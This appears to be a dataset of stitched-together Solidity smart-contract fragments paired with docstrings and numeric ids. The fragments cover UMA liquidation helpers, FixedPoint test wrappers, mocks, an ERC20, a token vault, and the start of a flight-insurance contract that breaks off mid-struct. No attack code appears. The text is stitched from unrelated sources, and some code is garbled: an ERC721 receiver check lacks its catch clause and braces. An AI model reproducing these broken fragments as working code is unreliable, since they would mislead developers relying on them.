buy/mint enough) or the full // token token balance at this point if there was a shortfall. FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate; if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc); // 6. Liquidate position with newly minted synthetics. TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue); fc.createLiquidation( liquidatedSponsor, minCollateralPerTokenLiquidated, maxCollateralPerTokenLiquidated, liquidatableTokens, deadline ); } // Helper method to work around subtraction overflow in the case of: a - b with b > a. function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b) internal pure returns (FixedPoint.Unsigned memory) { return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b); } // Helper method to return the current final fee for a given financial contract instance. function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency()); } // Helper method to return the collateral balance of this contract. function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this))); } // Helper method to return the synthetic balance of this contract. function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this))); } } // Define some simple interfaces for dealing with UMA contracts. interface IFinancialContract { struct PositionData { FixedPoint.Unsigned tokensOutstanding; uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; FixedPoint.Unsigned rawCollateral; uint256 transferPositionRequestPassTimestamp; } function positions(address sponsor) external returns (PositionData memory); function collateralCurrency() external returns (address); function tokenCurrency() external returns (address); function finder() external returns (address); function pfc() external returns (FixedPoint.Unsigned memory); function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory); function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external; function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ); } interface IStore { function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory); } interface IFinder { function getImplementationAddress(bytes32 interfaceName) external view returns (address); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; // Simple contract used to redeem tokens using a DSProxy from an emp. contract TokenRedeemer { function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens) public returns (FixedPoint.Unsigned memory) { IFinancialContract fc = IFinancialContract(financialContractAddress); TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue); return fc.redeem(numTokens); } } interface IFinancialContract { function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn); function tokenCurrency() external returns (address); } /* MultiRoleTest contract. */ // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/MultiRole.sol"; // The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes. contract MultiRoleTest is MultiRole { function createSharedRole( uint256 roleId, uint256 managingRoleId, address[] calldata initialMembers ) external { _createSharedRole(roleId, managingRoleId, initialMembers); } function createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) external { _createExclusiveRole(roleId, managingRoleId, initialMember); } // solhint-disable-next-line no-empty-blocks function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {} } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Testable.sol"; // TestableTest is derived from the abstract contract Testable for testing purposes. contract TestableTest is Testable { // solhint-disable-next-line no-empty-blocks constructor(address _timerAddress) public Testable(_timerAddress) {} function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) { // solhint-disable-next-line not-rely-on-time return (getCurrentTime(), now); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/VaultInterface.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Mock for yearn-style vaults for use in tests. */ contract VaultMock is VaultInterface { IERC20 public override token; uint256 private pricePerFullShare = 0; constructor(IERC20 _token) public { token = _token; } function getPricePerFullShare() external view override returns (uint256) { return pricePerFullShare; } function setPricePerFullShare(uint256 _pricePerFullShare) external { pricePerFullShare = _pricePerFullShare; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Interface for Yearn-style vaults. * @dev This only contains the methods/events that we use in our contracts or offchain infrastructure. */ abstract contract VaultInterface { // Return the underlying token. function token() external view virtual returns (IERC20); // Gets the number of return tokens that a "share" of this vault is worth. function getPricePerFullShare() external view virtual returns (uint256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Implements only the required ERC20 methods. This contract is used * test how contracts handle ERC20 contracts that have not implemented `decimals()` * @dev Mostly copied from Consensys EIP-20 implementation: * https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol */ contract BasicERC20 is IERC20 { uint256 private constant MAX_UINT256 = 2**256 - 1; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; uint256 private _totalSupply; constructor(uint256 _initialAmount) public { balances[msg.sender] = _initialAmount; _totalSupply = _initialAmount; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public override returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public override returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public override returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ResultComputation.sol"; import "../../../common/implementation/FixedPoint.sol"; // Wraps the library ResultComputation for testing purposes. contract ResultComputationTest { using ResultComputation for ResultComputation.Data; ResultComputation.Data public data; function wrapAddVote(int256 votePrice, uint256 numberTokens) external { data.addVote(votePrice, FixedPoint.Unsigned(numberTokens)); } function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) { return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold)); } function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) { return data.wasVoteCorrect(revealHash); } function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) { return data.getTotalCorrectlyVotedTokens().rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../Voting.sol"; import "../../../common/implementation/FixedPoint.sol"; // Test contract used to access internal variables in the Voting contract. contract VotingTest is Voting { constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Voting( _phaseLength, _gatPercentage, _inflationRate, _rewardsExpirationTimeout, _votingToken, _finder, _timerAddress ) {} function getPendingPriceRequestsArray() external view returns (bytes32[] memory) { return pendingPriceRequests; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/FixedPoint.sol"; // Wraps the FixedPoint library for testing purposes. contract UnsignedFixedPointTest { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeMath for uint256; function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) { return FixedPoint.fromUnscaledUint(a).rawValue; } function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(b); } function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b)); } function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b)); } function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMin(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue; } function wrapMax(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue; } function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(b).rawValue; } function wrapSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.sub(FixedPoint.Unsigned(b)).rawValue; } function wrapMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue; } function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(b).rawValue; } function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(b).rawValue; } function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue; } function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(b).rawValue; } function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.div(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).pow(b).rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/FixedPoint.sol"; // Wraps the FixedPoint library for testing purposes. contract SignedFixedPointTest { using FixedPoint for FixedPoint.Signed; using FixedPoint for int256; using SafeMath for int256; function wrapFromSigned(int256 a) external pure returns (uint256) { return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue; } function wrapFromUnsigned(uint256 a) external pure returns (int256) { return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue; } function wrapFromUnscaledInt(int256 a) external pure returns (int256) { return FixedPoint.fromUnscaledInt(a).rawValue; } function wrapIsEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b)); } function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isEqual(b); } function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b)); } function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b)); } function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Signed(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Signed(b)); } function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b)); } function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b)); } function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Signed(b)); } function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Signed(b)); } function wrapMin(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue; } function wrapMax(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue; } function wrapAdd(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).add(b).rawValue; } function wrapSub(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).sub(b).rawValue; } // The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) { return a.sub(FixedPoint.Signed(b)).rawValue; } function wrapMul(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue; } function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mul(b).rawValue; } function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue; } function wrapDiv(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue; } function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).div(b).rawValue; } function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).divAwayFromZero(b).rawValue; } // The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) { return a.div(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(int256 a, uint256 b) external pure returns (int256) { return FixedPoint.Signed(a).pow(b).rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Simple Perpetual Mock to serve trivial functions */ contract PerpetualMock { struct FundingRate { FixedPoint.Signed rate; bytes32 identifier; FixedPoint.Unsigned cumulativeMultiplier; uint256 updateTime; uint256 applicationTime; uint256 proposalTime; } using FixedPoint for FixedPoint.Unsigned; using FixedPoint for FixedPoint.Signed; FundingRate public fundingRate; // Interface functions required to be implemented in order for an instance of this contract to be passed into the // off-chain FinancialContractClient helper module: FixedPoint.Unsigned public collateralRequirement; uint256 public liquidationLiveness; FixedPoint.Unsigned public cumulativeFeeMultiplier; mapping(address => uint256) public positions; mapping(address => uint256) public liquidations; event NewSponsor(address indexed sponsor); event EndedSponsorPosition(); event LiquidationCreated(); function getCurrentTime() public view returns (uint256) { return now; } // Public methods that are useful for tests: function setFundingRate(FundingRate memory _fundingRate) external { fundingRate = _fundingRate; } function applyFundingRate() external { fundingRate.applicationTime = block.timestamp; // Simplified rate calcualtion. // multiplier = multiplier * (1 + rate) fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul( FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate)) ); } }
Accessor method for the total collateral stored within the PricelessPositionManager. return totalCollateral amount of all collateral within the Expiring Multi Party Contract. This method accounts for pending regular fees that have not yet been withdrawn from this contract, for example if the `lastPaymentTime != currentTime`./
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); }
99,512
pragma solidity 0.4.23; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input /Users/zacharykilgore/src/flexa/smart-contracts/contracts/TokenVault.sol // flattened : Saturday, 05-Jan-19 14:47:14 UTC library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract Recoverable is CanReclaimToken, Claimable { using SafeERC20 for ERC20Basic; /** * @dev Transfer all ether held by the contract to the contract owner. */ function reclaimEther() external onlyOwner { owner.transfer(address(this).balance); } } contract TokenVault is Recoverable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; /** The ERC20 token distribution the vault manages. */ ERC20Basic public token; /** The amount of tokens that should be allocated prior to locking the vault. */ uint256 public tokensToBeAllocated; /** The total amount of tokens allocated through setAllocation. */ uint256 public tokensAllocated; /** Total amount of tokens claimed. */ uint256 public totalClaimed; /** UNIX timestamp when the contract was locked. */ uint256 public lockedAt; /** UNIX timestamp when the contract was unlocked. */ uint256 public unlockedAt; /** * Amount of time, in seconds, after locking that must pass before the vault * can be unlocked. */ uint256 public vestingPeriod = 0; /** Mapping of accounts to token allocations. */ mapping (address => uint256) public allocations; /** Mapping of tokens claimed by a beneficiary. */ mapping (address => uint256) public claimed; /** Event to track that allocations have been set and the vault has been locked. */ event Locked(); /** Event to track when the vault has been unlocked. */ event Unlocked(); /** * Event to track successful allocation of amount and bonus amount. * @param beneficiary Account that allocation is for * @param amount Amount of tokens allocated */ event Allocated(address indexed beneficiary, uint256 amount); /** * Event to track a beneficiary receiving an allotment of tokens. * @param beneficiary Account that received tokens * @param amount Amount of tokens received */ event Distributed(address indexed beneficiary, uint256 amount); /** Ensure the vault is able to be loaded. */ modifier vaultLoading() { require(lockedAt == 0, "Expected vault to be loadable"); _; } /** Ensure the vault has been locked. */ modifier vaultLocked() { require(lockedAt > 0, "Expected vault to be locked"); _; } /** Ensure the vault has been unlocked. */ modifier vaultUnlocked() { require(unlockedAt > 0, "Expected the vault to be unlocked"); _; } /** * @notice Creates a TokenVault contract that stores a token distribution. * @param _token The address of the ERC20 token the vault is for * @param _tokensToBeAllocated The amount of tokens that will be allocated * prior to locking * @param _vestingPeriod The amount of time, in seconds, that must pass * after locking in the allocations and then unlocking the allocations for * claiming */ constructor( ERC20Basic _token, uint256 _tokensToBeAllocated, uint256 _vestingPeriod ) public { require(address(_token) != address(0), "Token address should not be blank"); require(_tokensToBeAllocated > 0, "Token allocation should be greater than zero"); token = _token; tokensToBeAllocated = _tokensToBeAllocated; vestingPeriod = _vestingPeriod; } /** * @notice Function to set allocations for accounts. * @dev To be called by owner, likely in a scripted fashion. * @param _beneficiary The address to allocate tokens for * @param _amount The amount of tokens to be allocated and made available * once unlocked * @return true if allocation has been set for beneficiary, false if not */ function setAllocation( address _beneficiary, uint256 _amount ) external onlyOwner vaultLoading returns(bool) { require(_beneficiary != address(0), "Beneficiary of allocation must not be blank"); require(_amount != 0, "Amount of allocation must not be zero"); require(allocations[_beneficiary] == 0, "Allocation amount for this beneficiary is not already set"); // Update the storage allocations[_beneficiary] = allocations[_beneficiary].add(_amount); tokensAllocated = tokensAllocated.add(_amount); emit Allocated(_beneficiary, _amount); return true; } /** * @notice Finalize setting of allocations and begin the lock up (vesting) period. * @dev Should be called after every allocation has been set. * @return true if the vault has been successfully locked */ function lock() external onlyOwner vaultLoading { require(tokensAllocated == tokensToBeAllocated, "Expected to allocate all tokens"); require(token.balanceOf(address(this)) == tokensAllocated, "Vault must own enough tokens to distribute"); // solium-disable-next-line security/no-block-members lockedAt = block.timestamp; emit Locked(); } /** * @notice Unlock the vault, allowing the tokens to be distributed to their * beneficiaries. * @dev Must be locked prior to unlocking. Also, the vestingPeriod must be up. */ function unlock() external onlyOwner vaultLocked { require(unlockedAt == 0, "Must not be unlocked yet"); // solium-disable-next-line security/no-block-members require(block.timestamp >= lockedAt.add(vestingPeriod), "Lock up must be over"); // solium-disable-next-line security/no-block-members unlockedAt = block.timestamp; emit Unlocked(); } /** * @notice Claim whatever tokens account are allocated to the sender. * @dev Can only be called once contract has been unlocked. * @return true if balance successfully distributed to sender, false otherwise */ function claim() public vaultUnlocked returns(bool) { return _transferTokens(msg.sender); } /** * @notice Utility function to actually transfer allocated tokens to their * owners. * @dev Can only be called by the owner. To be used in case an investor would * like their tokens transferred directly for them. Most likely by a script. * @param _beneficiary Address to transfer tokens to * @return true if balance transferred to beneficiary, false otherwise */ function transferFor( address _beneficiary ) public onlyOwner vaultUnlocked returns(bool) { return _transferTokens(_beneficiary); } /**************** *** Internal *** ****************/ /** * @dev Calculate the number of tokens a beneficiary can claim. * @param _beneficiary Address to check for * @return The amount of tokens available to be claimed */ function _claimableTokens(address _beneficiary) internal view returns(uint256) { return allocations[_beneficiary].sub(claimed[_beneficiary]); } /** * @dev Internal function to transfer an amount of tokens to a beneficiary. * @param _beneficiary Account to transfer tokens to. The amount is derived * from the claimable amount in the vault * @return true if tokens transferred successfully, false if not */ function _transferTokens(address _beneficiary) internal returns(bool) { uint256 _amount = _claimableTokens(_beneficiary); require(_amount > 0, "Tokens to claim must be greater than zero"); claimed[_beneficiary] = claimed[_beneficiary].add(_amount); totalClaimed = totalClaimed.add(_amount); token.safeTransfer(_beneficiary, _amount); emit Distributed(_beneficiary, _amount); return true; } }
Calculate the number of tokens a beneficiary can claim. _beneficiary Address to check for return The amount of tokens available to be claimed/
function _claimableTokens(address _beneficiary) internal view returns(uint256) { return allocations[_beneficiary].sub(claimed[_beneficiary]); }
12,704,701
./full_match/11155111/0xDb8e2Ba0Fc1F8C37Ab13BC5bD9795ca6Ece5fecb/sources/facets/DomainNameFacet.sol
@solidity memory-safe-assembly
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); assembly { revert(add(32, reason), mload(reason)) } } } return true; } }
3,787,249
pragma solidity ^0.4.25; import "../contracts/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; bool private operational = true; uint256 private authorizedAirlineCount = 0; uint256 private changeOperatingStatusVotes = 0; uint256 private insuranceBalance = 0; uint256 private MAX_NO_OF_AIRLINES = 4; uint256 private MAX_FUND_LIMIT = 10 ether; struct Airline { string name; address account; bool isRegistered; bool isAuthorized; bool operationalVote; } struct Insuree{ address account; uint256 insuranceAmount; uint256 payoutBalance; } mapping(address => Airline) airlines; mapping(address => Insuree)private insurees; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ event RegisteredAirline(address airline); event AuthorizedAirline(address airline); event BoughtInsurence(address caller, bytes32 key, uint256 amount); event CreditInsuree(address airline, address insuree, uint256 amount); event PayInsuree(address airline, address insuree, uint256 amount); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor() public { contractOwner = msg.sender; airlines[contractOwner] = Airline({ name : "Contract Owner Airline", account : 